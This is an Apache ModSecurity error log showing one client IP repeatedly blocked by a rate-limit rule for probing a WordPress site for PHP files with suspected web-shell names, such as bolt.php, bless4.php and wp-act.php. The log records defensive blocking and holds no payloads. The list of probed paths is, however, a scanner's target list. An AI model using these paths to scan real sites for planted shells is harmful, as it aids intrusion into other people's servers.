[Wed Apr 22 03:54:03.963489 2026] [:error] [pid 23041:tid 23047] [client 51.103.104.209:42302] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f35_S.php"] [unique_id "aefV20TXx_lUa7xwAb5ubQAAAQM"]
[Wed Apr 22 03:54:05.821201 2026] [:error] [pid 23041:tid 23051] [client 51.103.104.209:54013] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f35_S.php"] [unique_id "aefV3UTXx_lUa7xwAb5udwAAAQc"]
[Wed Apr 22 03:54:08.708649 2026] [:error] [pid 23041:tid 23064] [client 51.103.104.209:53987] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2026w.php"] [unique_id "aefV4ETXx_lUa7xwAb5ujgAAARQ"]
[Wed Apr 22 03:54:09.985956 2026] [:error] [pid 21788:tid 21808] [client 51.103.104.209:37221] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2026w.php"] [unique_id "aefV4X7OM27rzVpef240rAAAANI"]
[Wed Apr 22 03:55:27.647214 2026] [:error] [pid 21682:tid 21740] [client 51.103.104.209:52799] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hplfuns.php"] [unique_id "aefWL5lXWQZUlmPHS3rMOgAAAFE"]
[Wed Apr 22 03:55:31.422918 2026] [:error] [pid 21682:tid 21746] [client 51.103.104.209:49185] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hplfuns.php"] [unique_id "aefWM5lXWQZUlmPHS3rMPAAAAFc"]
[Wed Apr 22 03:55:32.234269 2026] [:error] [pid 21682:tid 21741] [client 51.103.104.209:56768] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hplfuns.php"] [unique_id "aefWNJlXWQZUlmPHS3rMPwAAAFI"]
[Wed Apr 22 03:55:34.489468 2026] [:error] [pid 21683:tid 21763] [client 51.103.104.209:37117] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hplfuns.php"] [unique_id "aefWNlZBWT-0diZyYyZR7gAAAI0"]
[Wed Apr 22 03:55:40.027923 2026] [:error] [pid 21788:tid 21812] [client 51.103.104.209:59032] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xa.php"] [unique_id "aefWPH7OM27rzVpef241MAAAANY"]
[Wed Apr 22 03:55:42.179876 2026] [:error] [pid 21682:tid 21732] [client 51.103.104.209:55557] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xa.php"] [unique_id "aefWPplXWQZUlmPHS3rMRwAAAEk"]
[Wed Apr 22 03:55:45.207669 2026] [:error] [pid 23041:tid 23050] [client 51.103.104.209:59049] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xa.php"] [unique_id "aefWQUTXx_lUa7xwAb5wZQAAAQY"]
[Wed Apr 22 03:55:49.221933 2026] [:error] [pid 21788:tid 21802] [client 51.103.104.209:46305] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xa.php"] [unique_id "aefWRX7OM27rzVpef241YAAAAMw"]
[Wed Apr 22 03:55:50.845915 2026] [:error] [pid 23041:tid 23050] [client 51.103.104.209:51600] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin.php"] [unique_id "aefWRkTXx_lUa7xwAb5wlgAAAQY"]
[Wed Apr 22 03:55:52.445910 2026] [:error] [pid 23041:tid 23056] [client 51.103.104.209:50750] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin.php"] [unique_id "aefWSETXx_lUa7xwAb5wogAAAQw"]
[Wed Apr 22 03:55:54.237195 2026] [:error] [pid 23041:tid 23050] [client 51.103.104.209:46303] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin.php"] [unique_id "aefWSkTXx_lUa7xwAb5wtAAAAQY"]
[Wed Apr 22 03:55:58.713791 2026] [:error] [pid 21683:tid 21752] [client 51.103.104.209:43979] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin.php"] [unique_id "aefWTlZBWT-0diZyYyZSBwAAAII"]
[Wed Apr 22 03:55:59.495692 2026] [:error] [pid 21788:tid 21811] [client 51.103.104.209:43989] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inege.php"] [unique_id "aefWT37OM27rzVpef241fwAAANU"]
[Wed Apr 22 03:56:04.158541 2026] [:error] [pid 21681:tid 21695] [client 51.103.104.209:53966] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inege.php"] [unique_id "aefWVN5LmJziq-yZYawNeQAAAAU"]
[Wed Apr 22 03:56:14.863626 2026] [:error] [pid 21683:tid 21774] [client 51.103.104.209:64173] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inege.php"] [unique_id "aefWXlZBWT-0diZyYyZSLgAAAJg"]
[Wed Apr 22 03:56:21.748856 2026] [:error] [pid 21683:tid 21750] [client 51.103.104.209:51338] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fe5.php"] [unique_id "aefWZVZBWT-0diZyYyZSNwAAAIA"]
[Wed Apr 22 03:57:33.861437 2026] [:error] [pid 21788:tid 21808] [client 51.103.104.209:37894] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ol.php"] [unique_id "aefWrX7OM27rzVpef242cAAAANI"]
[Wed Apr 22 03:57:37.640096 2026] [:error] [pid 21681:tid 21711] [client 51.103.104.209:5981] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ol.php"] [unique_id "aefWsd5LmJziq-yZYawNqwAAABU"]
[Wed Apr 22 03:57:39.245418 2026] [:error] [pid 21682:tid 21725] [client 51.103.104.209:5663] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ol.php"] [unique_id "aefWs5lXWQZUlmPHS3rMlgAAAEI"]
[Wed Apr 22 03:57:40.374695 2026] [:error] [pid 23041:tid 23047] [client 51.103.104.209:47980] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ol.php"] [unique_id "aefWtETXx_lUa7xwAb5yHAAAAQM"]
[Wed Apr 22 03:57:43.946508 2026] [:error] [pid 23041:tid 23060] [client 51.103.104.209:65046] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f6.php"] [unique_id "aefWt0TXx_lUa7xwAb5yJAAAARA"]
[Wed Apr 22 03:57:46.371683 2026] [:error] [pid 21681:tid 21695] [client 51.103.104.209:40174] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f6.php"] [unique_id "aefWut5LmJziq-yZYawNtAAAAAU"]
[Wed Apr 22 03:57:47.476430 2026] [:error] [pid 21682:tid 21728] [client 51.103.104.209:45788] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f6.php"] [unique_id "aefWu5lXWQZUlmPHS3rMpQAAAEU"]
[Wed Apr 22 03:57:48.205279 2026] [:error] [pid 23041:tid 23053] [client 51.103.104.209:42445] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f6.php"] [unique_id "aefWvETXx_lUa7xwAb5yMgAAAQk"]
[Wed Apr 22 03:57:49.322810 2026] [:error] [pid 23041:tid 23064] [client 51.103.104.209:42492] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inputs.php"] [unique_id "aefWvUTXx_lUa7xwAb5yNQAAARQ"]
[Wed Apr 22 03:57:50.581651 2026] [:error] [pid 21683:tid 21757] [client 51.103.104.209:5422] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inputs.php"] [unique_id "aefWvlZBWT-0diZyYyZSsQAAAIc"]
[Wed Apr 22 03:57:51.533318 2026] [:error] [pid 21683:tid 21768] [client 51.103.104.209:48254] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inputs.php"] [unique_id "aefWv1ZBWT-0diZyYyZSswAAAJI"]
[Wed Apr 22 03:57:53.492342 2026] [:error] [pid 23041:tid 23050] [client 51.103.104.209:5265] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inputs.php"] [unique_id "aefWwUTXx_lUa7xwAb5yOwAAAQY"]
[Wed Apr 22 03:57:54.687082 2026] [:error] [pid 23041:tid 23060] [client 51.103.104.209:48192] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/style.php"] [unique_id "aefWwkTXx_lUa7xwAb5yQQAAARA"]
[Wed Apr 22 03:57:56.181074 2026] [:error] [pid 21683:tid 21774] [client 51.103.104.209:45330] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/style.php"] [unique_id "aefWxFZBWT-0diZyYyZSxQAAAJg"]
[Wed Apr 22 03:57:57.515409 2026] [:error] [pid 21681:tid 21696] [client 51.103.104.209:49633] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/style.php"] [unique_id "aefWxd5LmJziq-yZYawNtwAAAAY"]
[Wed Apr 22 03:57:58.705740 2026] [:error] [pid 21681:tid 21700] [client 51.103.104.209:40128] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/style.php"] [unique_id "aefWxt5LmJziq-yZYawNuQAAAAo"]
[Wed Apr 22 03:57:59.311475 2026] [:error] [pid 21681:tid 21714] [client 51.103.104.209:5256] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aa.php"] [unique_id "aefWx95LmJziq-yZYawNvAAAABg"]
[Wed Apr 22 03:58:00.123353 2026] [:error] [pid 21788:tid 21814] [client 51.103.104.209:49652] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aa.php"] [unique_id "aefWyH7OM27rzVpef242qgAAANg"]
[Wed Apr 22 03:58:00.804223 2026] [:error] [pid 21788:tid 21810] [client 51.103.104.209:59364] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aa.php"] [unique_id "aefWyH7OM27rzVpef242rAAAANQ"]
[Wed Apr 22 03:58:01.569859 2026] [:error] [pid 23041:tid 23052] [client 51.103.104.209:45815] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aa.php"] [unique_id "aefWyUTXx_lUa7xwAb5yUwAAAQg"]
[Wed Apr 22 03:58:02.539528 2026] [:error] [pid 21788:tid 21812] [client 51.103.104.209:5277] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/av.php"] [unique_id "aefWyn7OM27rzVpef242sAAAANY"]
[Wed Apr 22 03:58:03.395724 2026] [:error] [pid 21682:tid 21742] [client 51.103.104.209:59371] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/av.php"] [unique_id "aefWy5lXWQZUlmPHS3rMuAAAAFM"]
[Wed Apr 22 03:58:04.727132 2026] [:error] [pid 21683:tid 21765] [client 51.103.104.209:36777] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/av.php"] [unique_id "aefWzFZBWT-0diZyYyZSzQAAAI8"]
[Wed Apr 22 03:58:08.179331 2026] [:error] [pid 21683:tid 21756] [client 51.103.104.209:53503] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/av.php"] [unique_id "aefW0FZBWT-0diZyYyZS6gAAAIY"]
[Wed Apr 22 03:58:13.343317 2026] [:error] [pid 23041:tid 23052] [client 51.103.104.209:46749] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "aefW1UTXx_lUa7xwAb5yjgAAAQg"]
[Wed Apr 22 03:58:17.336209 2026] [:error] [pid 21788:tid 21793] [client 51.103.104.209:36853] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "aefW2X7OM27rzVpef2426AAAAMM"]
[Wed Apr 22 03:58:18.869500 2026] [:error] [pid 23041:tid 23049] [client 51.103.104.209:36856] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "aefW2kTXx_lUa7xwAb5ynAAAAQU"]
[Wed Apr 22 03:58:20.436030 2026] [:error] [pid 21683:tid 21762] [client 51.103.104.209:64730] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "aefW3FZBWT-0diZyYyZTFgAAAIw"]
[Wed Apr 22 03:58:21.754474 2026] [:error] [pid 21683:tid 21761] [client 51.103.104.209:64646] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bless4.php"] [unique_id "aefW3VZBWT-0diZyYyZTGgAAAIs"]
[Wed Apr 22 03:58:23.227353 2026] [:error] [pid 23041:tid 23044] [client 51.103.104.209:52732] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bless4.php"] [unique_id "aefW30TXx_lUa7xwAb5yowAAAQA"]
[Wed Apr 22 03:58:24.168692 2026] [:error] [pid 21681:tid 21701] [client 51.103.104.209:45508] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bless4.php"] [unique_id "aefW4N5LmJziq-yZYawN6QAAAAs"]
[Wed Apr 22 03:58:25.130990 2026] [:error] [pid 23041:tid 23063] [client 51.103.104.209:45539] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bless4.php"] [unique_id "aefW4UTXx_lUa7xwAb5ypQAAARM"]
[Wed Apr 22 03:58:26.396691 2026] [:error] [pid 23041:tid 23061] [client 51.103.104.209:60955] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-act.php"] [unique_id "aefW4kTXx_lUa7xwAb5yrAAAARE"]
[Wed Apr 22 03:58:27.309672 2026] [:error] [pid 21682:tid 21739] [client 51.103.104.209:45566] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-act.php"] [unique_id "aefW45lXWQZUlmPHS3rM1wAAAFA"]
[Wed Apr 22 03:58:28.373563 2026] [:error] [pid 23041:tid 23065] [client 51.103.104.209:35485] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-act.php"] [unique_id "aefW5ETXx_lUa7xwAb5ysgAAARU"]
[Wed Apr 22 03:58:30.353803 2026] [:error] [pid 21682:tid 21734] [client 51.103.104.209:42983] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-act.php"] [unique_id "aefW5plXWQZUlmPHS3rM2gAAAEs"]
